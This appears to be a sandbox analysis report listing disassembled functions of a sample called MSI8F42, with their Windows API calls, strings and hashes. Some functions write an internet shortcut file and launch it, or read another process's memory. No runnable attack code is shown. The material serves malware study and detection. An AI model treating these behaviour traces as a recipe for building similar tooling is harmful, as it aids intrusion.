Opcode ID: 9f7269c252549a7e6cb0eb19d30a0d726d454a37c9f9f2a717611ad3f3e023b2
Instruction ID: bc405e22850873421373abd7aaa36801ffe3997a7fc6d525d3c57c055f6d4c14
Opcode Fuzzy Hash: 9f7269c252549a7e6cb0eb19d30a0d726d454a37c9f9f2a717611ad3f3e023b2
Instruction Fuzzy Hash: D0916E719023196BE71A7FB04C46BBFF9A8DF44760F00487DF90AAB281DFB059504BA2

Function 002F6600 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 319
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?), ref: 002F667E
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 002F66D7
LocalAlloc.KERNEL32(00000040,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 002F66E2
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 002F66FE
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,003349E5,000000FF), ref: 002F67DB
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,003349E5,000000FF), ref: 002F67E7
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,?,?,003349E5), ref: 002F682F
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?,003349E5,000000FF), ref: 002F684A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,?,?,003349E5), ref: 002F6867
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,003349E5,000000FF), ref: 002F6891
ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000005), ref: 002F68D8
ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000005), ref: 002F692A
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,003349E5,000000FF), ref: 002F695C

Strings

open, xrefs: 002F68D1, 002F68F0
[InternetShortcut]URL=, xrefs: 002F670A
URL Shortcut content:, xrefs: 002F6875
-_.~!*'();:@&=+$,/?#[], xrefs: 002F6757, 002F676E

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ByteCharLocalMultiWide$AllocExecuteFileFreeShell$CloseCreateHandleWrite
String ID: -_.~!*'();:@&=+$,/?#[]$URL Shortcut content:$[InternetShortcut]URL=$open
API String ID: 2199533872-3004881174
Opcode ID: fa05b49d35032bb08d14cdc4188296f83653eda6c39dcfb42f5f91000471da72
Instruction ID: 679218fa66c47d097eed613f639c7ed8090d6553b9902a8d6aab2b9b4b16779c
Opcode Fuzzy Hash: fa05b49d35032bb08d14cdc4188296f83653eda6c39dcfb42f5f91000471da72
Instruction Fuzzy Hash: C7B1F27191024DAFEB21DF64CC8ABFEFBA9EF05740F144129E604AB2C1D7715A18CBA1

Function 00312B8C Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0034DD3C,00000FA0,?,?,00312B6A), ref: 00312B98
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00312B6A), ref: 00312BA3
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00312B6A), ref: 00312BB4
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00312BC6
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00312BD4
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00312B6A), ref: 00312BF7
DeleteCriticalSection.KERNEL32(0034DD3C,00000007,?,?,00312B6A), ref: 00312C13
CloseHandle.KERNEL32(00000000,?,?,00312B6A), ref: 00312C23

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 00312B9E
WakeAllConditionVariable, xrefs: 00312BCC
SleepConditionVariableCS, xrefs: 00312BC0
kernel32.dll, xrefs: 00312BAF

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 0c05cac4e3570526ba670b1fe70bb1669acd83bd77747ecf61d71fc998776535
Instruction ID: 831f725b2bb014ce189c2ee45e5202603d6dbc72db2f0f7251d782efd57e40fa
Opcode Fuzzy Hash: 0c05cac4e3570526ba670b1fe70bb1669acd83bd77747ecf61d71fc998776535
Instruction Fuzzy Hash: E801D4B5E48311ABD7371F79AC88ED73BAC9F4AB40F010820FD04D61A0DE74D8908AA0

Function 00315CAF Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00315DAC
type_info::operator==.LIBVCRUNTIME ref: 00315DCE
___TypeMatch.LIBVCRUNTIME ref: 00315EDD
IsInExceptionSpec.LIBVCRUNTIME ref: 00315FAF
_UnwindNestedFrames.LIBCMT ref: 00316033
CallUnexpected.LIBVCRUNTIME ref: 0031604E

Strings

csm, xrefs: 00315CEC
csm, xrefs: 00315E05
csm, xrefs: 00315D59

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 0b203563ff2b359a35faa90bf1a3bba5a397cbbed2b1fe50874f30f2916be62c
Instruction ID: 50aed3f674e04d6e5d50f4940bb6be448062a20601ecc0bc50317a428bb919f1
Opcode Fuzzy Hash: 0b203563ff2b359a35faa90bf1a3bba5a397cbbed2b1fe50874f30f2916be62c
Instruction Fuzzy Hash: E0B15871800609EFCF1EDFA4D8819EEB7B5FF98310B15405AE8156B212D774DAA2CB91

Function 002F4270 Relevance: 15.1, APIs: 10, Instructions: 137timeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000,?,7642E7B1,?,?,?), ref: 002F42D2
OpenProcess.KERNEL32(00000400,00000000,?,?,7642E7B1,?,?,?), ref: 002F42F3
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,7642E7B1,?,?,?), ref: 002F4326
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,7642E7B1,?,?,?), ref: 002F4337
CloseHandle.KERNEL32(00000000,?,7642E7B1,?,?,?), ref: 002F4355
CloseHandle.KERNEL32(00000000,?,7642E7B1,?,?,?), ref: 002F4371
CloseHandle.KERNEL32(00000000,?,7642E7B1,?,?,?), ref: 002F4399
CloseHandle.KERNEL32(00000000,?,7642E7B1,?,?,?), ref: 002F43B5
CloseHandle.KERNEL32(00000000,?,7642E7B1,?,?,?), ref: 002F43D3
CloseHandle.KERNEL32(00000000,?,7642E7B1,?,?,?), ref: 002F43EF

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: CloseHandle$Process$OpenTimes
String ID:
API String ID: 1711917922-0
Opcode ID: fb7b516672f2ee61403fcdcf3306061b4407f3d5cbbbff5415f932ddd2cef7b7
Instruction ID: b9e6cd0d06303437d1750104f6e597203583aedd6fdfb9d2ccb39a07d7d7f6ee
Opcode Fuzzy Hash: fb7b516672f2ee61403fcdcf3306061b4407f3d5cbbbff5415f932ddd2cef7b7
Instruction Fuzzy Hash: E5518D70D11619EBDB15DF98C984BEEFBF8BF48754F244269E610BB280C7B45D018BA4

Function 0030BBBD Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 325COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0030BBC4

Part of subcall function 0030254E: __EH_prolog3.LIBCMT ref: 00302555
Part of subcall function 0030254E: std::_Lockit::_Lockit.LIBCPMT ref: 0030255F
Part of subcall function 0030254E: std::_Lockit::~_Lockit.LIBCPMT ref: 003025D0

Strings

%d / %m / %y, xrefs: 0030BEFA
%I : %M : %S %p, xrefs: 0030BF1F
%H : %M, xrefs: 0030BD03
%b %d %H : %M : %S %Y, xrefs: 0030BE52
%m / %d / %y, xrefs: 0030BCBB
%H : %M : %S, xrefs: 0030BD5D
:AM:am:PM:pm, xrefs: 0030BF2A

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: H_prolog3Lockitstd::_$Lockit::_Lockit::~_
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1538362411-2891247106
Opcode ID: 0ef55e5a46bb1f605d0606ba63371d2e2e26d38ddb001df49dd30bc65dd7da7e
Instruction ID: e959bda4cedaa1340627cb9409bbc4c24162d5e07ed58e6a43c27f4abf482ee0
Opcode Fuzzy Hash: 0ef55e5a46bb1f605d0606ba63371d2e2e26d38ddb001df49dd30bc65dd7da7e
Instruction Fuzzy Hash: B0B1BE7250120AAFDF1BDF68CD79EFEBBA9EB04304F054119FA06A66D1D7318A10DB60

Function 00310C9D Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 325COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00310CA4

Part of subcall function 002F9270: std::_Lockit::_Lockit.LIBCPMT ref: 002F92A0
Part of subcall function 002F9270: std::_Lockit::_Lockit.LIBCPMT ref: 002F92C2
Part of subcall function 002F9270: std::_Lockit::~_Lockit.LIBCPMT ref: 002F92EA
Part of subcall function 002F9270: std::_Lockit::~_Lockit.LIBCPMT ref: 002F9422

Strings

%d / %m / %y, xrefs: 00310FDA
%I : %M : %S %p, xrefs: 00310FFF
%H : %M, xrefs: 00310DE3
%b %d %H : %M : %S %Y, xrefs: 00310F32
%m / %d / %y, xrefs: 00310D9B
%H : %M : %S, xrefs: 00310E3D
:AM:am:PM:pm, xrefs: 0031100A

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: 936524fb4544a0e7f731455e4fe91e291ed12fd9be2360cfa2f2f30d0d49bdfc
Instruction ID: 3520fd7319a253a4a2b0378006e53ba63a4d6c591b3e06fbee608b8f9ceb5f0b
Opcode Fuzzy Hash: 936524fb4544a0e7f731455e4fe91e291ed12fd9be2360cfa2f2f30d0d49bdfc
Instruction Fuzzy Hash: ACB1DF7550020AAFCF2FDFA8C956DFE3BA9FB0C304F150419FA06A6691D6719AD1CB60

Function 0030BF7E Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 325COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0030BF85

Part of subcall function 002F8610: std::_Lockit::_Lockit.LIBCPMT ref: 002F8657
Part of subcall function 002F8610: std::_Lockit::_Lockit.LIBCPMT ref: 002F8679
Part of subcall function 002F8610: std::_Lockit::~_Lockit.LIBCPMT ref: 002F86A1
Part of subcall function 002F8610: std::_Lockit::~_Lockit.LIBCPMT ref: 002F880E

Strings

%d / %m / %y, xrefs: 0030C2BB
%I : %M : %S %p, xrefs: 0030C2E0
%H : %M, xrefs: 0030C0C4
%b %d %H : %M : %S %Y, xrefs: 0030C213
%m / %d / %y, xrefs: 0030C07C
%H : %M : %S, xrefs: 0030C11E
:AM:am:PM:pm, xrefs: 0030C2EB

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: 6c499aacc5df9b586405a5e1cfaff54e551e94e08c816b9cea67992b9cb196df
Instruction ID: 0ae7b1750fa9cbf8dd67589797605c2197cf400aa876b95efa45cdc5ca8a3153
Opcode Fuzzy Hash: 6c499aacc5df9b586405a5e1cfaff54e551e94e08c816b9cea67992b9cb196df
Instruction Fuzzy Hash: C4B1B07551110AAFCF1BDFA8C976DFE3BB9EB08340F115619FA02A66D2D631CA10DB50

Function 002F3C20 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 225libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 002F36D0: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 002F3735
Part of subcall function 002F36D0: _wcschr.LIBVCRUNTIME ref: 002F37C6

GetProcAddress.KERNEL32(?,NtQueryInformationProcess), ref: 002F3CA8
ReadProcessMemory.KERNEL32(?,?,?,000001D8,00000000,00000000,00000018,00000000), ref: 002F3D01
ReadProcessMemory.KERNEL32(?,?,?,00000048,00000000,?,000001D8,00000000,00000000,00000018,00000000), ref: 002F3D7A
ReadProcessMemory.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,?,?,?,00000048,00000000,?,000001D8), ref: 002F3EB1
GetLastError.KERNEL32 ref: 002F3F34
FreeLibrary.KERNEL32(?), ref: 002F3F7B

Strings

NtQueryInformationProcess, xrefs: 002F3CA2
14, xrefs: 002F3F6C

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: MemoryProcessRead$AddressDirectoryErrorFreeLastLibraryProcSystem_wcschr
String ID: NtQueryInformationProcess$14
API String ID: 566592816-1595157856
Opcode ID: b03251b7317c1bf001d463de2193c0a3322c4079e69e915cb26163caa7d28289
Instruction ID: 5541fc2af993727f4874b0b84d2921b9bd19bd4888f60ff8b3e178b8f284b999
Opcode Fuzzy Hash: b03251b7317c1bf001d463de2193c0a3322c4079e69e915cb26163caa7d28289
Instruction Fuzzy Hash: B1A16A70D15649DEDB20CF64CC49BAEFBF4BF48304F2045A9D549A7280E7B5AA88CF91

Function 00313F20 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00313F57
___except_validate_context_record.LIBVCRUNTIME ref: 00313F5F
_ValidateLocalCookies.LIBCMT ref: 00313FE8
__IsNonwritableInCurrentImage.LIBCMT ref: 00314013
_ValidateLocalCookies.LIBCMT ref: 00314068

Strings

csm, xrefs: 00313FFD
21, xrefs: 0031402C
TG1, xrefs: 00314005, 0031400E, 0031401F

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: 21$TG1$csm
API String ID: 1170836740-680810872
Opcode ID: 0726102b12f27c8be4439cc445123695f377af57f282b806a1c256da009dacc5
Instruction ID: 53806feeeecfce5c58da4dfa5923a819fdcc840fd7a6608295808b3aabd13024
Opcode Fuzzy Hash: 0726102b12f27c8be4439cc445123695f377af57f282b806a1c256da009dacc5
Instruction Fuzzy Hash: 26418234E002099BCF1ADF68C881ADEBBB5BF4C314F148055E914AB392D731EE96CB91

Function 00308555 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0030855C
_Maklocstr.LIBCPMT ref: 003085C5
_Maklocstr.LIBCPMT ref: 003085D7
_Maklocchr.LIBCPMT ref: 003085EF
_Maklocchr.LIBCPMT ref: 003085FF
_Getvals.LIBCPMT ref: 00308621

Part of subcall function 00301CD4: _Maklocchr.LIBCPMT ref: 00301D03
Part of subcall function 00301CD4: _Maklocchr.LIBCPMT ref: 00301D19

Strings

true, xrefs: 003085D2
false, xrefs: 003085C0

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Maklocchr$Maklocstr$GetvalsH_prolog3_
String ID: false$true
API String ID: 3549167292-2658103896
Opcode ID: f02e00df19704ebc09290755efe102e6ce0c67fd81b5c46e5086d153b356b838
Instruction ID: 470a628cc831c3d2ebc87a1a7e9838ce9a99c24a679c3d4a9c23365334b8ddf8
Opcode Fuzzy Hash: f02e00df19704ebc09290755efe102e6ce0c67fd81b5c46e5086d153b356b838
Instruction Fuzzy Hash: 7C2162B2D01318ABDF16EFA5D895ADF7BB8AF05710F00855AF9059F182DA70D540CBA1

Function 002F9730 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 398COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 002F9763

Part of subcall function 00300C94: __EH_prolog3.LIBCMT ref: 00300C9B
Part of subcall function 00300C94: std::_Lockit::_Lockit.LIBCPMT ref: 00300CA6
Part of subcall function 00300C94: std::locale::_Setgloballocale.LIBCPMT ref: 00300CC1
Part of subcall function 00300C94: std::_Lockit::~_Lockit.LIBCPMT ref: 00300D17

std::_Lockit::_Lockit.LIBCPMT ref: 002F978A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 002F97F0
std::locale::_Locimp::_Makeloc.LIBCPMT ref: 002F984A

Part of subcall function 002FF57A: __EH_prolog3.LIBCMT ref: 002FF581
Part of subcall function 002FF57A: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 002FF5C8
Part of subcall function 002FF57A: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 002FF620
Part of subcall function 002FF57A: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 002FF654
Part of subcall function 002FF57A: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 002FF6A8

LocalFree.KERNEL32(00000000,00000000,?,003454B1,00000000), ref: 002F99BF
__cftoe.LIBCMT ref: 002F9B0B

Strings

bad locale name, xrefs: 002F98FF

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::locale::_$Locimp::_$AddfacLocimp_std::_$Lockit$H_prolog3Lockit::_$FreeInitLocalLocinfo::_Locinfo_ctorLockit::~_MakelocSetgloballocale__cftoe
String ID: bad locale name
API String ID: 3103716676-1405518554
Opcode ID: 69e009ed16c3cfe8b717a1fa098c61d358d5b27021e5c67ee8e68fbf08975319
Instruction ID: 6037b742f5757c233a0897d41178d129ee6d5a8b3ce3160d7bc4807a535f1613
Opcode Fuzzy Hash: 69e009ed16c3cfe8b717a1fa098c61d358d5b27021e5c67ee8e68fbf08975319
Instruction Fuzzy Hash: 11F1CC70D10249DFDB15CFA8C984BEEFBB5EF09344F244169E905AB381E771AA54CBA0

Function 003272FB Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00327632,00000021,FlsSetValue,0033BD58,0033BD60,?,?,00325955,00000006,000000FF,?,00316CE7,00000000,A82), ref: 003273BC

Strings

ext-ms-, xrefs: 00327366
api-ms-, xrefs: 00327352
A82, xrefs: 003272FD

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: FreeLibrary
String ID: A82$api-ms-$ext-ms-
API String ID: 3664257935-4249869218
Opcode ID: 4702ccef3b470efb2984656c28ded2642d165b69897fed164962f7d3782111e6
Instruction ID: dfc91b97f0198c16c69f2f533a0d6e121ead1a91a8ec354b86052345826ff4bd
Opcode Fuzzy Hash: 4702ccef3b470efb2984656c28ded2642d165b69897fed164962f7d3782111e6
Instruction Fuzzy Hash: 0A21D57AA09221EBD733DB65BC81A9A376CFF42770F250514EE05A7290DB30ED00D6E0

Function 002F40B0 Relevance: 12.2, APIs: 8, Instructions: 233memorytimeCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,40000022,7642E7B1,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 002F4154
LocalAlloc.KERNEL32(00000040,3FFFFFFF,7642E7B1,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 002F4177
LocalFree.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 002F4217
OpenProcess.KERNEL32(00000400,00000000,?,7642E7B1,?,?,?), ref: 002F42D2
OpenProcess.KERNEL32(00000400,00000000,?,?,7642E7B1,?,?,?), ref: 002F42F3
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,7642E7B1,?,?,?), ref: 002F4326
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,7642E7B1,?,?,?), ref: 002F4337
CloseHandle.KERNEL32(00000000,?,7642E7B1,?,?,?), ref: 002F4355
CloseHandle.KERNEL32(00000000,?,7642E7B1,?,?,?), ref: 002F4371

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Process$Local$AllocCloseHandleOpenTimes$Free
String ID:
API String ID: 1424318461-0
Opcode ID: 0cfbf713204f203e9e4b92189e2a2892f5fc2c80837d71c844285d46831e90ae
Instruction ID: af8002e4006b3c2adf8fdc386420993273cee8c24cb6f8e45543334d64146a3b
Opcode Fuzzy Hash: 0cfbf713204f203e9e4b92189e2a2892f5fc2c80837d71c844285d46831e90ae
Instruction Fuzzy Hash: F581A271A102099FDB15DFA8C985BAEFBB4FB48350F244239EA25E7390D770AD50CB90

Function 0031266D Relevance: 12.2, APIs: 8, Instructions: 224COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?), ref: 003126F8
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00312786
__alloca_probe_16.LIBCMT ref: 003127B0
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 003127F8
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00312812
__alloca_probe_16.LIBCMT ref: 00312838
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00312875
CompareStringEx.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00312892

Memory Dump Source

